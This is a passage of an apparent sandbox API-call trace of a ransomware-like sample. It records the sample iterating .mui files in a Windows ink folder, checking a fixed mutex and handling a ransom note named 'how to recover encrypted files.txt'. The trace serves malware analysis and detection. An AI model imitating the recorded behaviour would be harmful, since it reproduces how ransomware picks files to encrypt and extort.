[0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.muiy", lpUsedDefaultChar=0x0) returned 74 [0046.038] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\en-US\\InkWatson.exe.muiy", lpUsedDefaultChar=0x0) returned 4 [0046.038] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.039] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.039] GlobalLock (hMem=0x440004) returned 0x552180 [0046.039] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.039] GlobalUnlock (hMem=0x440004) returned 0 [0046.039] GlobalLock (hMem=0x440004) returned 0x552180 [0046.039] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.039] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.039] GlobalUnlock (hMem=0x440004) returned 0 [0046.039] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.039] GlobalUnlock (hMem=0x44000c) returned 0 [0046.039] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.039] CharLowerBuffW (in: lpsz="InputPersonalization.exe.mui", cchLength=0x1c | out: lpsz="inputpersonalization.exe.mui") returned 0x1c [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.040] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.040] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\en-US\\InputPersonalization.exe.mui", lpUsedDefaultChar=0x0) returned 4 [0046.040] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.040] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.040] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.040] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.040] GlobalUnlock (hMem=0x44000c) returned 0 [0046.040] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.040] GlobalLock (hMem=0x440004) returned 0x554190 [0046.040] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.040] GlobalUnlock (hMem=0x44000c) returned 0 [0046.040] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.040] GlobalUnlock (hMem=0x440004) returned 0 [0046.040] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.040] CharLowerBuffW (in: lpsz="IPSEventLogMsg.dll.mui", cchLength=0x16 | out: lpsz="ipseventlogmsg.dll.mui") returned 0x16 [0046.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.041] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.041] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpUsedDefaultChar=0x0) returned 4 [0046.041] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.041] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.041] GlobalLock (hMem=0x440004) returned 0x552180 [0046.041] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.041] GlobalUnlock (hMem=0x440004) returned 0 [0046.041] GlobalLock (hMem=0x440004) returned 0x552180 [0046.041] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.041] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.041] GlobalUnlock (hMem=0x440004) returned 0 [0046.041] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.041] GlobalUnlock (hMem=0x44000c) returned 0 [0046.042] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.042] CharLowerBuffW (in: lpsz="IpsMigrationPlugin.dll.mui", cchLength=0x1a | out: lpsz="ipsmigrationplugin.dll.mui") returned 0x1a [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, 